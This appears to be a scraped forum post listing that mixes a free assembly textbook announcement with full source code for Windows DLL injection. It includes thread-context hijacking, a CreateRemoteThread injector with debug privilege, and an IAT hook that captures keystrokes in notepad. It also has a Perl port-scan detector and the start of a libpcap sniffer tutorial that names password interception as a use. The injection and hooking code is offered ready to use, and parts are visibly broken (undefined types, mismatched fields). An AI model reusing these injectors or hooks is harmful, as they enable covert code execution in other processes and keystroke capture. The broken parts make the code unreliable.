-
Posts
18772 -
Joined
-
Last visited
-
Days Won
730
Everything posted by Nytro
-
Welcome to my PC Assembly Page I taught Computer Science at the University of Central Oklahoma for 10 years. During this time I taught an introductory course in PC Assembly Language programming. I grew frustrated at teaching 16-bit real mode programming and decided to change to 32-bit protected mode. However, I soon ran into a problem. I could not find a textbook that covered 32-bit protected mode assembly programming! So, I decided to write my own. I also did not want students to have to go out and buy expensive software for the course. I decided to base the course on the free NASM (Netwide Assembler) and the free GNU gcc compiler (however, any 32-bit C compiler would work). Another advantage of these choices was that students could use Windows, Linux or FreeBSD to develop on. (In fact, I use Linux for my main development platform.) Over one summer I wrote the bulk of this textbook and developed the examples using LaTeX. I made a feeble attempt to get the book published and then decided to publish it myself online for free. Why? To return something back to the developer community. I have used many open source products and wanted to make a modest contribution of my own. PC Assembly Tutorial The tutorial has extensive coverage of interfacing assembly and C code and so might be of interest to C programmers who want to learn about how C works under the hood. All the examples use the free NASM (Netwide) assembler. The tutorial only covers programming under 32-bit protected mode and requires a 32-bit protected mode compiler. I have example code files for: DJGPP, Borland, Microsoft, Open Watcom and Linux C compilers. The examples in the text of the tutorial are for DJGPP only, but how to interface with the other compilers is discussed as well. The example files also include macros that allow easy input/output and debugging (register dumps, memory dumps, coprocessor dumps and stack dumps). If you plan on running the examples in the tutorial, you must download the appropriate example code file. It contains support files used by the examples in the tutorial (such as asm_io.inc). Table of Contents 1. Introduction 2. Basic Assembly Language 3. Bit Operations 4. Subprograms 5. Arrays 6. Floating Point 7. Structures and C++ Source: PC Assembly Language Download: http://www.drpaulcarter.com/pcasm/pcasm-book-pdf.zip Backup: http://rapidshare.com/files/405157917/pcasm-book.pdf
-
E Mozart camuflat.
-
/****************************************************************************** kCtxInject.cpp : Proof of concept for Get/SetThreadContext remote code running method. Refer to the Hackademy Journal (Internation Premium Edition) issue #1 page 17 for more information (http://premium.thehackademy.net) ***************************************************************************** Author : Kdm (Kodmaker@syshell.org) WebSite : http://www.syshell.org Downloaded from : http://premium.thehackademy.net *****************************************************************************/ #include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <Tlhelp32.h> typedef HANDLE (WINAPI* pOpenThread)(DWORD ,BOOL,DWORD); void ShowLastError() { LPVOID lpMsgBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &lpMsgBuf, 0, NULL ); // Process any inserts in lpMsgBuf. // ... // Display the string. MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONINFORMATION ); // Free the buffer. LocalFree( lpMsgBuf ); } void Die(char* msg) { printf("%s\n"); system("pause"); exit(0); } // OutputString : Send a formatted string to debugger output void OutputString(char* frmstr,...) { char buf[1024*2]; va_list vargs; va_start(vargs, frmstr); wvsprintfA(buf, frmstr, vargs); va_end(vargs); OutputDebugString((char*)buf); return; } int WakeUpCurrentProcess(DWORD pid) { HANDLE hSnap, hThread; DWORD dPID=pid; THREADENTRY32 ThEnt = {0}; pOpenThread fOpenThread; fOpenThread = (pOpenThread) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread"); if(!fOpenThread) { OutputDebugString("!OpenThread\n"); return 0; } ThEnt.dwSize = sizeof(THREADENTRY32); hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dPID); if(hSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot ERROR\n"); return 0; } if (Thread32First(hSnap, &ThEnt)) { do { if (ThEnt.th32OwnerProcessID == dPID) { printf( "\nTID\t\t%d\n", ThEnt.th32ThreadID); printf( "Owner PID\t%d\n", ThEnt.th32OwnerProcessID); printf( "Delta Priority\t%d\n", ThEnt.tpDeltaPri); printf( "Base Priority\t%d\n", ThEnt.tpBasePri); hThread = fOpenThread(THREAD_SUSPEND_RESUME, FALSE, ThEnt.th32ThreadID); if(hThread) { printf("Handle ok\n"); ResumeThread(hThread); } } } while (Thread32Next(hSnap, &ThEnt)); } return 1; } inline void InsertByte(HANDLE hProcess, DWORD Addr, unsigned char byte) { //sizeof(unsigned char) if(!WriteProcessMemory(hProcess, (void*)Addr, &byte, 1, NULL)) { printf("byte %d", byte); Die("cannot be injected\n"); } } inline void InsertDword(HANDLE hProcess, DWORD Addr, DWORD dWord) { //sizeof(DWORD) if(!WriteProcessMemory(hProcess, (void*)Addr, &dWord, 4, NULL)) { printf("dword %d", dWord); Die("cannot be injected\n"); } } /* InjectDll : injects a dll into process whose handle is given in 1st param. This procedure also needs a handle for a thread that will be hijacked to run injected code. This code will load the dll whose path is in 4th argument. */ void InjectDll(HANDLE hProcess, HANDLE hThread, char* DllPath) { CONTEXT ctx; // context structure // beware of pointers fuck (use dword instead of dword* and casts) : DWORD Code = (DWORD) NULL; // base address for allocated memory DWORD DllAddr = (DWORD) NULL; // address of injected dll path in target process DWORD FuncAddr= (DWORD) NULL; // address of the function to trigger once injected int i; // loop counter // [x] 1st step : thread suspension (increases thread suspension count by one) printf("Suspending target thread... "); if(SuspendThread(hThread)==0xFFFFFFFF) { Die("FAILED\n"); // suspend thread } printf("OK\n"); // [x] step 2 : code injection // get current thread context printf("Retrieving thread context... "); ctx.ContextFlags = CONTEXT_FULL; // require full context if(!GetThreadContext(hThread, &ctx)) { Die("FAILED\n"); } printf("OK\n"); // Allocate space for code (1 memory page) printf("Allocating space for code injection... "); Code = (DWORD) VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(!Code) Die("FAILED\n"); printf("OK\n"); // Inject Dll Path into target process printf("Injecting Dll path ('%s')... ", DllPath); DllAddr = Code; // keep track of dll path in remote process if(!WriteProcessMemory(hProcess, (void*)Code, DllPath, strlen(DllPath)+1, NULL)) Die("FAILED\n"); Code += (strlen(DllPath)+1)+1+100; // jump to next free byte after string+'\0' printf("OK\n", DllPath); // Start to forge code : printf("Injecting code... "); InsertByte (hProcess, Code+0, 0x9c); // pushfd InsertByte (hProcess, Code+1, 0x60); // pushad ("push all dword", push all registers) InsertByte (hProcess, Code+2, 0x68); // push ... InsertDword(hProcess, Code+3, (DWORD)DllAddr); // ... @Dll_Path // call LoadLibraryA (the DWORD for a call or a jmp is ((to)-(from)-5)) InsertByte (hProcess, Code+7, 0xe8); // call ... FuncAddr = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); //printf("LoadLibraryA found at 0x%X\n", FuncAddr); InsertDword(hProcess, Code+8, FuncAddr-(Code+8-1)-5); // ... LoadLibraryA InsertByte (hProcess, Code+12, 0x61); // popad InsertByte (hProcess, Code+13, 0x9d); // popfd ("push all dword", push all registers) InsertByte (hProcess, Code+14, 0xe9); // jmp to old EIP InsertDword(hProcess, Code+15, ctx.Eip - (Code+15-1+5)); // destination - src - 5 printf("OK\n"); //[x] step 3 : run code printf("Executing code into target process space... "); ctx.Eip = Code; SetThreadContext(hThread, &ctx); // multiple calls to ResumeThread in order to decrease thread's suspend count // so when it reaches 0, the thread is *truly* resumed for(i=0; i<5; i++) ResumeThread(hThread); printf("OK\n"); } void SpawnProcessAndInjectDll(char* ProcessPath, char* DllPath) { STARTUPINFO si; PROCESS_INFORMATION pi; DWORD CreationMode = CREATE_SUSPENDED; int ret; printf("Spawning process '%s'... ", ProcessPath); memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); ret = CreateProcess(ProcessPath, 0, NULL, NULL, 0, CreationMode, NULL, NULL, &si, &pi); if(!ret) { Die("FAILED\n"); ShowLastError(); } printf("OK, it has pid %d\n", pi.dwProcessId); InjectDll(pi.hProcess, pi.hThread, DllPath); } int main(int argc, char* argv[]) { char dllpath[] = "c:\\kMsgBoxDll.dll"; SpawnProcessAndInjectDll("c:\\windows\\system32\\calc.exe", dllpath); printf("\n"); system("pause"); return 0; }
-
// inject.cpp : Designed to inject a DLL into another process space // By Kdm (kodmaker@netcourrier.com) // #include <stdio.h> #include <string.h> #include <stdlib.h> #include <malloc.h> #include <windows.h> #include <tlhelp32.h> // CreateToolhelp32Snapshot, etc... #define DIE 1 #define MAX_SIZE 4096 /* For runtime injection */ /******************************************************************/ /*///////////////////////////////////////////////////////////////// //////////////Process Information Functions////////////////////////// /////////////////////////////////////////////////////////////////*/ int GetPidByName(char* nom) { HINSTANCE hLib; PROCESSENTRY32 PEntry; HANDLE hTool32; //Functions types : HANDLE (WINAPI *pCreateToolhelp32Snapshot)(DWORD,DWORD); BOOL (WINAPI *pProcess32First)(HANDLE,LPPROCESSENTRY32); BOOL (WINAPI *pProcess32Next)(HANDLE,LPPROCESSENTRY32); hLib = LoadLibrary("Kernel32.DLL"); //Functions addresses : pCreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD,DWORD)) GetProcAddress( hLib,"CreateToolhelp32Snapshot"); pProcess32First=(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))GetProcAddress( hLib, "Process32First" ); pProcess32Next=(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))GetProcAddress( hLib, "Process32Next" ); PEntry.dwSize = sizeof(PROCESSENTRY32); //Set Size of structure before use hTool32 = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create SnapShot pProcess32First(hTool32, &PEntry); //Get first process if(!strcmp(PEntry.szExeFile,nom)) return PEntry.th32ProcessID; //If correct, return Pid. while( pProcess32Next(hTool32,&PEntry) ) if(!strcmp(PEntry.szExeFile,nom)) return PEntry.th32ProcessID; //If correct, return Pid. FreeLibrary(hLib); return 0; } /******************************************************************/ //usage : /* 0 1 2 3 4 5 inject.exe <process_name/path> <dll_path> --create / --runtime --resolve --force inject.exe "C:\Program Files\Internet Explorer\IEXPLORE.EXE" C:\IAThijackDLL.dll --create */ char usage[]= "kInject.exe [process path/Pid] [dll path] [--create / --runtime] [--resolve] [--force]\n" "--create : program will create the process before injecting\n" "--runtime : inject already existing process\n" "--resolve : get process id from executable name\n" "--force : load SeDebugPrivilege to break into target process\n"; // Error handling routine void DispError(char *message, int die) { printf("\n%s\n", message); getchar(); if(die) ExitProcess(0); return; } /*///////////////////////////////////////////////////////////////// //////////////INJECTION CREATE REMOTETHREAD//////////////////////// /////////////////////////////////////////////////////////////////*/ //Injects DLLFile into a process identified by its handle (hModule) int InjectDll(HANDLE hModule, char *DLLFile) { //char DLLFile[]="C:\\cInjectedDll.dll"; int LenWrite = strlen(DLLFile) + 1; char * AllocMem = (char *) VirtualAllocEx(hModule,NULL, LenWrite, MEM_COMMIT,PAGE_READWRITE); //allocation pour WriteProcessMemory WriteProcessMemory(hModule, AllocMem , DLLFile, LenWrite, NULL); //PTHREAD_START_ROUTINE Injector = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); LPTHREAD_START_ROUTINE Injector = ( LPTHREAD_START_ROUTINE ) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if(!Injector) DispError("[!] Error while getting LoadLibraryA address.",DIE); HANDLE hThread = CreateRemoteThread(hModule, NULL, 0, Injector, (void *) AllocMem, 0, NULL); if(!hThread) DispError("[!] Cannot create thread.",DIE); DWORD Result = WaitForSingleObject(hThread, 10*1000); //Time out : 10 secondes if(Result==WAIT_ABANDONED || Result==WAIT_TIMEOUT || Result==WAIT_FAILED) DispError("[!] Thread TIME OUT.",DIE); Sleep(1000); /*VirtualFreeEx(hModule, (void *) AllocMem, 0, MEM_RELEASE); if(hThread!=NULL) CloseHandle(hThread);*/ return 1; } //SE_DEBUG_NAME int LoadPrivilege() { HANDLE hToken; LUID Val; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return(GetLastError()); if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val)) return(GetLastError()); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Val; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL)) return(GetLastError()); CloseHandle(hToken); return 1; } /* ******************************** */ /* inject.exe "C:\Program Files\Internet Explorer\IEXPLORE.EXE" C:\IAThijackDLL.dll --runtime inject.exe 3284 C:\IAThijackDLL.dll --runtime // inject pid 3284 inject.exe iexplorer.exe C:\IAThijackDLL.dll --runtime --resolve // inject pid 3284 */ int main(int argc, char* argv[]) { DWORD ProcPid=0; printf(" ** Running kInject v1.0 by Kdm (kodmaker@netcourrier.com) **\n\n"); if(argc < 3 ) { DispError(usage, 0); return 0; } //Debug privilege asked ? if((argc>4 && !strcmp(argv[5],"--force")) || argc>3 && !strcmp(argv[4],"--force")) { //triggers debug privilege printf("* Triggering debug privilege...\n"); LoadPrivilege(/*SE_DEBUG_NAME*/); } // Run and inject process if(strcmp(argv[3], "--create")==0 || strcmp(argv[3], "-c")==0) { PROCESS_INFORMATION pi; STARTUPINFO si; memset(&si, 0, sizeof(si)); si.cb = sizeof(si); //si.wShowWindow = SW_HIDE; //"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE" printf("Creating process %s...", argv[1]); if(!CreateProcess(NULL,argv[1],NULL, NULL, true, /*CREATE_SUSPENDED*/0, NULL, NULL,&si, &pi)) { DispError("[!] CreateProcess failed",DIE); } printf(" OK.\nInjecting DLL %s...", argv[2]); InjectDll(pi.hProcess, argv[2]); printf(" OK\n"); getchar(); return 0; } // Inject a process that's already running if(strcmp(argv[3], "--runtime")==0 || strcmp(argv[3], "-r")==0) { //Get Process Id from exe name if(argc>3 && strcmp(argv[4],"--resolve") == 0) { ProcPid = GetPidByName(argv[1]); if(ProcPid==0) DispError("GetPidByName failed.", DIE); printf("Process %s has PID: %d\n", argv[1], ProcPid); } else { ProcPid = atol(argv[1]); } HANDLE hProc; hProc = OpenProcess(PROCESS_ALL_ACCESS, true,ProcPid); if(hProc==NULL) { printf("OpenProcess failed, triggering DebugPrivilege..."); if(LoadPrivilege()!=1) DispError("DebugPrivilege : load FAILED", DIE); printf(" OK"); } hProc = OpenProcess(PROCESS_ALL_ACCESS, true,ProcPid); if(hProc==NULL) DispError("Still can't open process. (Sure it exists ?)", DIE); printf("Injecting DLL %s in Pid: %d...", argv[2], ProcPid); InjectDll(hProc, argv[2]); printf(" OK\n"); getchar(); return 0; } printf("Unknow command parameter."); return 0; }
-
#!/usr/bin/perl use Net::RawIP; use Socket; use Term::ANSIColor qw(:constants); use Getopt::Long; use strict; ###### pour pcapinit ###### my $device = "eth0"; my $filter = ""; my $size = 1500; my $timeout = 0; #### ligne de commande #### my $temps = 100; # option par défault il est conseillé de la changé avec -d my $limite = 100; # option par défaut il est conseillé de la changé avec -n my $dump = undef; ########################### my $d = 1; my ( %ip, %tcp ) = undef; my @last = undef; my $a = undef; my $pcap = undef; my $i = undef; my $ptr_ip = undef; my $msg = undef; my $scan_type = undef; my $date = undef; ########################### GetOptions("interface=s" => \$device, "help" => \&infos, "sniff" => \$dump, "delai=s"=>\$temps,"nbr_ports=s",\$limite); ########################### print "____________________________\n"; print BOLD,"[ Detecteur de scan de THJ ]\n", RESET; print "\\___________.oOo.__________/\n\n"; ########################### $a = new Net::RawIP(); $pcap = $a -> pcapinit($device,$filter,$size,$timeout); loop $pcap,-1,\&main,\[]; sub main { my ($vide, $pkthdr, $paquet) = @_; $a -> bset(substr($paquet,linkoffset($pcap))); &ip_struct($a->get({ip=>[qw(saddr daddr)]})); &tcp_struct($a->get({tcp=>[qw(source dest ack rst syn data)]})); # possibilité d'implémenter d'autres protocoles , udp , icmp , .... # On affiche les résultats à l'écran si l'on a spécifier l'option --sniff &affiche_result() if($dump); if($ip{"saddr"} ne &my_ip($device)) { &verif_time() if($#last>0); &is_nmap(); } $d++; # Compte le nombre de paquets reçut } ### Création des structures IP et TCP ### sub ip_struct { # inet_ntoa() va nous permettre de remettre en forme l'adresse ip. # network to ascii $ip{"saddr"} = inet_ntoa(pack("N",shift(@_))); $ip{"daddr"} = inet_ntoa(pack("N",shift(@_))); } sub tcp_struct { $tcp{"source"} = shift(@_); $tcp{"dest"} = shift(@_); $tcp{"ack"} = shift(@_); $tcp{"rst"} = shift(@_); $tcp{"syn"} = shift(@_); $tcp{"data"} = shift(@_); # suppression des caractères suceptibles de faire planter le term $tcp{"data"} =~ s/[^\w:\.\(\)\[\]]//g; } ### sub is_nmap { if($tcp{"syn"} == 1 && $tcp{"ack"} == 0 && $tcp{"rst"} == 0) { # on regarde si l'ip source nous a deja scanné if(&compare_ip($ip{"saddr"})==0) { $last[$ptr_ip+1]++; # On incrémente le compteur de ports } else { # Nouvelle ip if($#last==0) { $last[0] = $ip{"saddr"}; $last[1] = 1; # compte les ports scannés $last[2] = 1; # permet de differencier les scans $last[3] = time; } else { $last[$#last+1] = $ip{"saddr"}; $last[$#last+1] = 1; $last[$#last+1] = 1; # 1 == tcp_connect() $last[$#last+1] = time; } } } elsif($tcp{"syn"} == 0 &&$tcp{"ack"} == 0 && $tcp{"rst"} == 1 && &compare_ip($ip{"saddr"})== 0 ) { # On est dans un syn stealth scan $last[$ptr_ip+2] = 0; } } ### sub compare_ip { $ptr_ip = 0; for($i=0;$i<$#last+1;$i+=4) { if($last[$i] eq $_[0]) { # on renvoit la position de l'ip qui nous # scan pour incrémenter les valeurs correspondantes. $ptr_ip = $i; return 0; } } return 1; } ### sub logscan # renvoit simplement les résultats vers un fichier { open(FILE,">>.scandetect"); print FILE @_; print @_; close(FILE); } ### sub infos # --help { printf("$0 : Détecteur de scan THJ\n\nsyntaxe : -i [--interface] : interface à ecouter -s [--sniff] : affiche les détails pour chaque paquets -d [--delai] : Durée de validité du scan -n [--nbr_ports] : Nbr de ports définissant le scan -h [--help] : print this help\n\n"); exit; } ### sub affiche_result { # à modifier selon ce que vous souhaitez afficher sur les l'écran ... print BOLD,$ip{"saddr"},RESET; print "["; print RED,$tcp{"source"},RESET; print "] -> "; print BOLD,$ip{"daddr"},RESET; print "["; print GREEN,$tcp{"dest"},RESET; print "]\t"; print RED,"SYN\t",RESET if($tcp{"syn"}==1); print RED,"ACK\t",RESET if($tcp{"ack"}==1); print RED,"RST\t",RESET if($tcp{"rst"}==1); print "\n"; } ### sub verif_time { # fonction qui permet de vérifier que les ip # du tableau @last sont dans les délais d'un scan for($i=0;$i<$#last;$i+=4) { if((time - $last[$i+3])>$temps) { # Le temps d'inactivité est supérieur au délai # alors on vérifie si le nombres de ports scannés # est supérieur à la limite puis on sauve les résultats. if($last[$i+2]==0) { $scan_type = "syn stealth (-sS)"; } else { $scan_type = "tcp_connect (-sT)"; } $date = &heure_du_scan(); $msg = "Scan '$scan_type' effectué à '$date' par $last[$i]\n" ; #nombre de ports scanés &logscan($msg) if($last[$i+1]>$limite); # On efface les informations relatives à cette ip splice(@last,$i,4,()); } } } ### sub heure_du_scan { my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); my $date = "$hour h $min min $sec sec"; return $date; } ### sub my_ip # important pour ne pas prendre loggué nos propres scans { for(qx/ifconfig $ARGV[0]/) { if (/(?:adr|addr)?:\d{1,3}\.){3}\d{1,3})/) { # on renvoit notre adresse ip return $1; } } } ### EOF ###
-
// InjHookTHM.c pour The Hackademy Manuel #10 (auteur: Carib) #include <stdio.h> #include <windows.h> #include <tlhelp32.h> #define SIZE_HOOKFUNCTION 4096 #define SIZE_RPLFUNCTION 4096 typedef HMODULE (WINAPI *pfGetModuleHandle)(LPCTSTR); typedef FARPROC (WINAPI *pfGetProcAddress)(HMODULE, LPCSTR); typedef BOOL (WINAPI *pfVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef INT (WINAPI *pfMessageBox)(HWND, LPCSTR, LPCTSTR, UINT); typedef LONG (WINAPI *pfDispatchMessage)(CONST MSG *lpmsg); // La structure de données que nous allons injecter typedef struct { CHAR szRplFunctionModule[20]; CHAR szRplFunction[20]; PVOID pMyRplFunction; PVOID pOrigRplFunction; pfLoadLibrary _LoadLibraryA; pfGetModuleHandle _GetModuleHandleA; pfGetProcAddress _GetProcAddress; pfVirtualProtect _VirtualProtect; CHAR szUser32[20]; CHAR szMessageBoxW[20]; pfMessageBox _MessageBoxW; } INJECTEDDATA; // Obtenir un handle en accès complet d'un processus HANDLE GetProcessByName(CHAR *szProcessName) { HANDLE hProcessSnap; DWORD th32ProcessID; PROCESSENTRY32 pe32; HANDLE hProcess = NULL; BOOL bFound = FALSE; // Snapshot de tous les processus hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Initialisation de la structure qui contiendra les infos pe32.dwSize = sizeof(PROCESSENTRY32); // Parcours de tous les processus th32ProcessID = Process32First(hProcessSnap, &pe32); while(th32ProcessID) { // Essai d'obtenir un handle en écriture sur le processus hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); if(hProcess != NULL && strcmp(pe32.szExeFile, szProcessName) == 0) { bFound = TRUE; break; } pe32.dwSize = sizeof(PROCESSENTRY32); th32ProcessID = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return (bFound ? hProcess: NULL); } int main(void) { HANDLE hProcess; HMODULE hKernel32; INJECTEDDATA Data, *pData; PVOID pHookFunction; DWORD dwNbBytesWritten, dwThreadID, dwExitCode; HANDLE hThread; if((hProcess = GetProcessByName("notepad.exe")) == NULL) { printf("Le processus ne peut etre ouvert\n"); return 0; } hKernel32 = LoadLibrary("kernel32.dll"); Data._GetModuleHandleA = (pfGetModuleHandle)GetProcAddress(hKernel32, "GetModuleHandleA"); Data._GetProcAddress = (pfGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress"); Data._VirtualProtect = (pfVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect"); // APIs utiles au hook => APIs de user32, etc. lstrcpy(Data.szUser32, "user32.dll"); lstrcpy(Data.szMessageBoxA, "MessageBoxW"); // API hookée : DispatchMessage afin d'intercepter les messages WM_CHAR lstrcpy(Data.szRplFunctionModule, "user32.dll"); lstrcpy(Data.szRplFunction, "DispatchMessageW"); // Injection de la fonction de remplacement. L'adresse de cette fonction est stockée dans la structure de données injectée. Data.pMyRplFunction = VirtualAllocEx(hProcess, NULL, SIZE_RPLFUNCTION, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, Data.pMyRplFunction, MyDispatchMessage, SIZE_RPLFUNCTION, &dwNbBytesWritten); // Injection de la fonction qui va coordonner le hook. pHookFunction = VirtualAllocEx(hProcess, NULL, SIZE_HOOKFUNCTION, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pHookFunction, HookFunction, SIZE_HOOKFUNCTION, &dwNbBytesWritten); // Injection de la structure de données. pData = VirtualAllocEx(hProcess, NULL, sizeof(INJECTEDDATA), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pData, &Data, sizeof(INJECTEDDATA), &dwNbBytesWritten); // Création de thread dans le processus cible. if((hThread = CreateRemoteThread(hProcess, NULL, 0, pHookFunction, pData, 0, &dwThreadID)) == NULL) { printf("Erreur lors de CreateRemoteThread\n"); return 0; } WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, &dwExitCode); if(dwExitCode == 0) { printf("Erreur lors du hook\n"); return 0; } return 1; } // Fonction de hook exécutée lors de la création du thread static DWORD WINAPI HookFunction(INJECTEDDATA *pData) { // Variables automatiques placées sur la pile => pas de problème HMODULE hModule, hRplFunctionModule, hUser32; PVOID address; DWORD dwOldProtection; // Modification de pData dans la fonction de remplacement => voir plus loin *((DWORD *)((DWORD)(pData->pMyRplFunction) + 9)) = (DWORD)pData; // Récupération des adresses des APIs annexes nécessaires à la fonction de remplacement. On va pouvoir accéder à l'API MessageBoxA hUser32 = pData->_GetModuleHandleA(pData->szUser32); pData->_MessageBoxW = (pfMessageBox)pData->_GetProcAddress(hUser32, pData->szMessageBoxW); // Adresse du module exécutable cible hModule = pData->_GetModuleHandleA(NULL); // Récupération de l'adresse originale de l'API que l'on va hooker hRplFunctionModule = pData->_GetModuleHandleA(pData->szRplFunctionModule); pData->pOrigRplFunction = pData->_GetProcAddress(hRplFunctionModule, pData->szRplFunction); address = pData->pOrigRplFunction; // Recherche de l'adresse à patcher dans l'IAT du module exe __asm { mov esi, address mov eax, hModule // BaseAddress du module exe mov ebx, [eax + 3Ch] // offset e_lfanew add ebx, eax // ptr vers la struct IMAGE_NT_HEADERS32 mov ecx, [ebx + 0D8h] // RVA de l'Import Address Table add ecx, eax // adresse de l'Import Address Table mov edx, [ebx + 0DCh] // taille de l'IAT shr edx, 2 // nb d'adresses dans l'IAT NextAPI: cmp [ecx], esi je APIFound // adresse trouvée => sortie add ecx, 4 // sinon, adresse suivante dec edx // on continue tant qu'il reste des adresses jz APINotFound jmp NextAPI APINotFound: mov ecx, 0 APIFound: mov address, ecx } if(address == 0) return 0; // Modification de l'adresse dans l'IAT pData->_VirtualProtect(address, 4, PAGE_READWRITE, &dwOldProtection); *((PDWORD)address) = (DWORD)(pData->pMyRplFunction); pData->_VirtualProtect(address, 4, dwOldProtection, &dwOldProtection); return 1; } static LONG MyDispatchMessage(CONST MSG *lpmsg) { INJECTEDDATA *pData = (INJECTEDDATA *)0x12345678; WCHAR s[2]; if(lpmsg->message == WM_CHAR) { s[0] = (WCHAR)(lpmsg->wParam); s[1] = 0; pData->_MessageBoxW(NULL, s, s, MB_OK); } return ((pfDispatchMessage)pData->pOrigRplFunction)(lpmsg); }
-
Download: http://www.thehackademy.net/archives/apihooksniff.zip
-
HZVSNIFF We are going to talk about “how to make your own sniffer ?”. At first, i have to tell you that this paper is more a development guide which should help you to make your own program, and to understand sniffing concepts in a raw level mode. So this paper will only be usefull to people who already something about C programming, as well as in networking. What is a sniffer ? It is a tool which can be used to read all network packets going through your network card. The aim is originally to detect some problems which may occurs on a lan / wan. But another way to use such a program is to be able to read all packets' content after having hijacking them on your computer... For what ? In order to intercept some logins/passwords ... We don't explain in this article how to hijack a connection, but only how to read and decode all packets going through your network cards. Moreover, if you are on a broadcast network (meaning that each packet are sent to every computers on the Lan), it won't be necessary to set up an hijacking attack : all packets from the network are received on your network card. But how make them “accepted” by your card, and how to read them ? Promiscious mode: Let's talk about the default communication process between two computers : the first one send through its network card one packet, which contains MAC address of the target. A system just takes care about packets its MAC address as the destination, and drops all others. So on a broadcasted network, all computers receive all sent packets, and drop all those for which they are not the destination. Promiscious allow to escape that process in order to catch every packets, whatever MAC destination is. You really want to use a library to develop the sniffer to don't deal directly with the network raw level. The libpcap is designed to used in this way, to develop your soft, and is moreover present onto Unix and Windows. Maybe you already know tcpdump or ethereal, and guess what : both of them have been developed onto it. First, you have to install this lib : $> tar xvzf libpcap-0.6.2.tar.gz ....... $> cd libpcap-0.6.2 $> ./configure $> make $> make install You won't forget to include the good header in your sources : #include Have a look on the development manpages $> man libpcap Lets now have a look on APIs' syntax : pcap_open_live It is tha main function, used to set up one sniffing session by using that lib. It returns a file descriptor you can use to read intercepted packets, to create and apply some filters ... Of course, you have to call this function !! pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) Char *device : Network interface you used to intercept data. You have to give its character string representation (eth0, eth1, wlan0 ...) int snaplen : Max size of information which will be read in one packet. In general, you can use 1500 bytes on an ethernet Lan. int promisc: do you want to enable the promiscious mode (1), or not (0) ... You probably want to use it. Int to_ms: timeout char *ebuf : In case of errors, they are returned onto that address. On success case, NULL is returned. You should know that the file descriptor is given as an argument of the pcap_t structure, returned by the main API pcap_open_live. pcap_next : This function is used to return address of each intercepted packet written in a queue. Each returned pointer points to an usigned character string, which are one captured packets in the queue. u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h) pcap_t *p : File descriptor returned by pcap_open_live. pcap_pkhdr *p : pointer on to pcap_pkhdr structure, into which headers of received packets are formated to be read. You find it in the pcap.h file. pcap_lookupnet : This function returns the network's address and subnet. int pcap_lookupnet(char *device,bpf_u_int32 *netp,bpf_u_int32 *maskp, char *errbuf); Char *device : Network interface used to capture traffic. bpf_u_int32 *netp : Address where is saved the network address bpf_u_int32 *maskp : Address where is saved the sbnet address char *errbuf: Address where are returned errors. pcap_stats : Get some statistics on received packets. These informations are saved, and formated to be read in a pcap_stat structure. int pcap_stats(pcap_t *p, struct pcap_stat *ps) pcap_t *p : file desciptor return by pcap_open_live struct pcap_stat *ps : Target where are wrote statistics about traffic struct pcap_stat { u_int ps_recv; // Number of received packet u_int ps_drop; // Number of dropped packet u_int ps_ifdrop; // Not yet supported }; pcap_lookupdev : Return default network interface. u_char pcap_lookupdev(char *errbuf) Char *errbuf : Address where are return errors, NULL otherwise. We have shown all functions you have to use in your sniffer, and to make it work well. But, you will find lots of more functions in development manpages. -----------------------------------------------start--------------------------------------------------- #include /* Some basic libraries */ #include int main(void) { int i,a=0,nbrpaquets; /* variable (counter) i as a counter on received packets a as the number of received packets nbrpaquets number of packets already captured */ char interface[10]; /* Network interface used to sniff */ bpf_u_int32 netp,maskp; /* Network and subnet addresses */ int affichage=0; /* Define the desired formatting to display captured packets */ char erreur[PCAP_ERRBUF_SIZE]; /* Buffer use to write errors, max sie defined in pcap.h as the macro PCAP_ERRBUF_SIZE */ pcap_t *descriptPaquet = NULL; /* File descriptor returned by pcap_open_live */ struct pcap_stat *statistiques; /* Statistics ' structure */ struct pcap_pkthdr paquethdr; /* Header structure used by pcap_next. */ u_char *paquet; /* content of captured packets */ statistiques = (struct pcap_stat*)malloc(sizeof(struct pcap_stat)); 